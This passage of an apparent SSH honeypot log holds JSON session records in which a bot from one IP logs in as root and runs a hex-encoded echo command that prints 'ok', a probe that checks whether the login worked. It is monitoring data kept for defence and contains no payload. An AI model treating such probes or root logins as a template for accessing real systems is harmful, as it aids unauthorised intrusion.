  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:56.231098+00:00",
  "ended_at": "2026-08-23T09:19:58.367133+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a8f238b3-6db7-4056-8b2f-2d6c1673dd51",
  "name": "mighty-prairie-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50862,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:54.489772+00:00",
  "ended_at": "2026-08-23T09:19:55.456018+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d32680b-d917-4609-b2e2-291b3078d080",
  "name": "autumn-northern-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50858,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:52.812434+00:00",
  "ended_at": "2026-08-23T09:19:53.796790+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a6ca7714-3afa-4c57-9f52-924a2ff9f27b",
  "name": "fickle-sooty-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:50.354495+00:00",
  "ended_at": "2026-08-23T09:19:52.167132+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "703048a6-3651-4c7e-a147-3e8d6a2c56b5",
  "name": "nautical-glassy-kudu",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:44.696267+00:00",
  "ended_at": "2026-08-23T09:19:49.501293+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c5441b08-32fb-48ee-b554-f59c2f200dfe",
  "name": "peaty-weathered-caracal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:42.226534+00:00",
  "ended_at": "2026-08-23T09:19:44.025068+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8289e0b8-136b-4641-b351-d18f55e9b03e",
  "name": "polar-muted-pangolin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46980,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:38.095600+00:00",
  "ended_at": "2026-08-23T09:19:41.596807+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aa41b0fd-f55e-48b1-881a-509461d7c87f",
  "name": "crimson-wooded-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46962,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:36.184593+00:00",
  "ended_at": "2026-08-23T09:19:37.194912+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa4689ff-1e15-40cd-9933-25ae88417bca",
  "name": "rustic-primal-wigeon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46952,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:33.516079+00:00",
  "ended_at": "2026-08-23T09:19:35.474775+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "03fd29aa-bca5-4cf6-ae6a-29821643978e",
  "name": "blunt-crisp-falcon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 46934,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:30.681915+00:00",
  "ended_at": "2026-08-23T09:19:32.721024+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f20437f2-78b2-4a82-85d9-8fd38205a0b3",
  "name": "blunt-mindful-lark",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:25.549757+00:00",
  "ended_at": "2026-08-23T09:19:29.852890+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e6c21ce-4489-45e1-ad87-2b3f82c745e3",
  "name": "snowy-dapper-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58466,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:20.936690+00:00",
  "ended_at": "2026-08-23T09:19:24.792092+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dc384855-f929-4686-8fe5-b83c3d65e350",
  "name": "airy-salty-ibis",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40878,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:18.694454+00:00",
  "ended_at": "2026-08-23T09:19:20.252596+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6351aa7c-7db3-4d8a-b943-5e48957db754",
  "name": "bashful-woven-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40872,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:16.176340+00:00",
  "ended_at": "2026-08-23T09:19:17.908301+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a12828d8-cd76-4576-865f-4f41c7056e57",
  "name": "gallant-dapper-otter",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40866,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:13.835869+00:00",
  "ended_at": "2026-08-23T09:19:15.342581+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3002a1da-bd60-435e-83e7-641de8d96d0d",
  "name": "peaty-craggy-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40854,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:11.703164+00:00",
  "ended_at": "2026-08-23T09:19:13.150184+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "973d3c67-7328-4b79-a5d4-d267d8035d1a",
  "name": "glassy-salty-goose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 40852,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:09.577893+00:00",
  "ended_at": "2026-08-23T09:19:10.990109+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "190b4011-cc99-46ff-bce6-bcb425868f09",
  "name": "graceful-courtly-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54768,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:07.492502+00:00",
  "ended_at": "2026-08-23T09:19:08.770011+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c97afd1b-2542-4105-8408-350bdce617d3",
  "name": "dewy-leafy-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54756,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:05.768123+00:00",
  "ended_at": "2026-08-23T09:19:06.669735+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a39e6bcb-c0fe-4ff4-8b6e-d642e8067e6d",
  "name": "humble-arctic-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54742,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:04.145734+00:00",
  "ended_at": "2026-08-23T09:19:05.146800+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e3811c9c-2e8c-4d23-aebe-17cea60db2bb",
  "name": "brave-solar-koala",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54728,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:19:02.357479+00:00",
  "ended_at": "2026-08-23T09:19:03.407454+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d24fd7d-4584-4c4f-b251-58dd9db6f983",
  "name": "calm-quaint-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:59.414268+00:00",
  "ended_at": "2026-08-23T09:19:01.668870+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a56c8fec-822f-4b01-9a82-52f2e5a48ca1",
  "name": "sterling-tidal-wombat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57578,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:57.133026+00:00",
  "ended_at": "2026-08-23T09:18:58.620321+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "49ea624e-61ad-4676-af9a-87c8a7f55d94",
  "name": "granite-patient-badger",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57564,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:54.517788+00:00",
  "ended_at": "2026-08-23T09:18:56.330914+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a2c84f32-fae8-48fc-a290-60ec7543793c",
  "name": "wooded-alpine-bittern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57560,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:52.390239+00:00",
  "ended_at": "2026-08-23T09:18:53.767420+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "82f96bd1-8b3e-408c-a152-682db42b7f21",
  "name": "patient-sandy-wallaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57544,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:49.450121+00:00",
  "ended_at": "2026-08-23T09:18:51.603163+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a6bda298-ceb0-48e7-b8c0-01d96ee4c615",
  "name": "steady-peaty-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:46.965671+00:00",
  "ended_at": "2026-08-23T09:18:48.802566+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2e31f401-e8cf-45a2-8020-a3842368994e",
  "name": "proud-rustic-gadwall",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56540,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:44.559943+00:00",
  "ended_at": "2026-08-23T09:18:46.229147+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d5eb5c9c-17ad-4d24-b0d4-941fa0f27e5b",
  "name": "placid-wry-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56526,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:42.800727+00:00",
  "ended_at": "2026-08-23T09:18:43.749343+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a89ecb3d-0761-48ec-b7da-71e0fc6c46f9",
  "name": "dewy-chilly-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 56524,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:39.919042+00:00",
  "ended_at": "2026-08-23T09:18:42.019137+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7e19bf42-4775-41b8-ab01-c2ba1ca0a0f9",
  "name": "gloomy-salty-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50552,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:37.672750+00:00",
  "ended_at": "2026-08-23T09:18:39.241475+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "66d1b7c1-8cc6-4595-85a2-1e3074bd1392",
  "name": "blithe-snowy-meerkat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50544,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:35.278762+00:00",
  "ended_at": "2026-08-23T09:18:37.026953+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ecf5677b-52ca-4b2b-b85c-e8c99866877f",
  "name": "graceful-barren-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50532,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:32.238268+00:00",
  "ended_at": "2026-08-23T09:18:34.473095+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d7185ff6-dddc-4d1c-984e-b8d5f0378456",
  "name": "languid-indigo-parakeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50528,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:30.260449+00:00",
  "ended_at": "2026-08-23T09:18:31.492438+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "eb4f2080-6792-4f7c-8623-d9e17be1acbe",
  "name": "tidal-curious-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47708,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:27.561092+00:00",
  "ended_at": "2026-08-23T09:18:29.425657+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6fe69071-0812-4bcc-84db-2a069aa75dc0",
  "name": "pleasant-curious-whimbrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47698,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:25.609409+00:00",
  "ended_at": "2026-08-23T09:18:26.776359+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "aee6c952-9ced-4fa0-aacd-18a31c95ccbe",
  "name": "airy-blazing-mongoose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47690,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:23.498440+00:00",
  "ended_at": "2026-08-23T09:18:24.826139+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "ff48bd99-5520-4f08-80b5-8eded517681d",
  "name": "thrifty-snowy-ferret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47676,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:21.558627+00:00",
  "ended_at": "2026-08-23T09:18:22.833213+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "59c10037-715a-4621-965f-c03671336fa9",
  "name": "mottled-dutiful-bullfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47672,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:19.189841+00:00",
  "ended_at": "2026-08-23T09:18:20.751089+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c4e66bb6-5f40-42aa-945f-277aa900a938",
  "name": "alpine-mossy-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57336,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:16.732265+00:00",
  "ended_at": "2026-08-23T09:18:18.438493+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3d7211bc-ba48-41ee-b796-04c371562ac0",
  "name": "austere-regal-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:14.078402+00:00",
  "ended_at": "2026-08-23T09:18:15.906162+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "768d3dba-b448-4d96-b536-c4a2a5016466",
  "name": "sterling-vivid-oryx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57330,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:11.709115+00:00",
  "ended_at": "2026-08-23T09:18:13.316117+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "74f913ca-b2a0-45fc-8544-95ccf2a1101c",
  "name": "vaulted-cobalt-marten",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57326,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:09.149790+00:00",
  "ended_at": "2026-08-23T09:18:10.949208+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e6f6e6dd-303d-4248-9c84-304595e44c35",
  "name": "jovial-vaulted-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51076,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:06.712942+00:00",
  "ended_at": "2026-08-23T09:18:08.408028+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "01f13ace-4df4-42d6-a72d-afb53f356312",
  "name": "languid-alpine-anteater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:04.795109+00:00",
  "ended_at": "2026-08-23T09:18:06.078589+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c3d967e0-a7df-4a0e-bb4a-c99e3bdbd3db",
  "name": "wooded-jaunty-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51068,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:02.880110+00:00",
  "ended_at": "2026-08-23T09:18:04.059714+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bb0f786c-8c67-4630-a785-d507516b5bb5",
  "name": "placid-jovial-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51054,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:18:00.901489+00:00",
  "ended_at": "2026-08-23T09:18:02.249080+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "651cc79e-4538-4284-a615-03f55ae9d656",
  "name": "velvet-forlorn-dotterel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 51048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:58.883446+00:00",
  "ended_at": "2026-08-23T09:18:00.098317+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "dbe7147b-2791-4bcc-9e36-ceee8a406a98",
  "name": "tidal-spirited-roebuck",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47072,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:17:56.130377+00:00",
  "ended_at": "2026-08-23T09:17:58.143145+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "591c8667-f078-4d8a-af07-793f154842da",
  "name": "mighty-sturdy-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47060,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
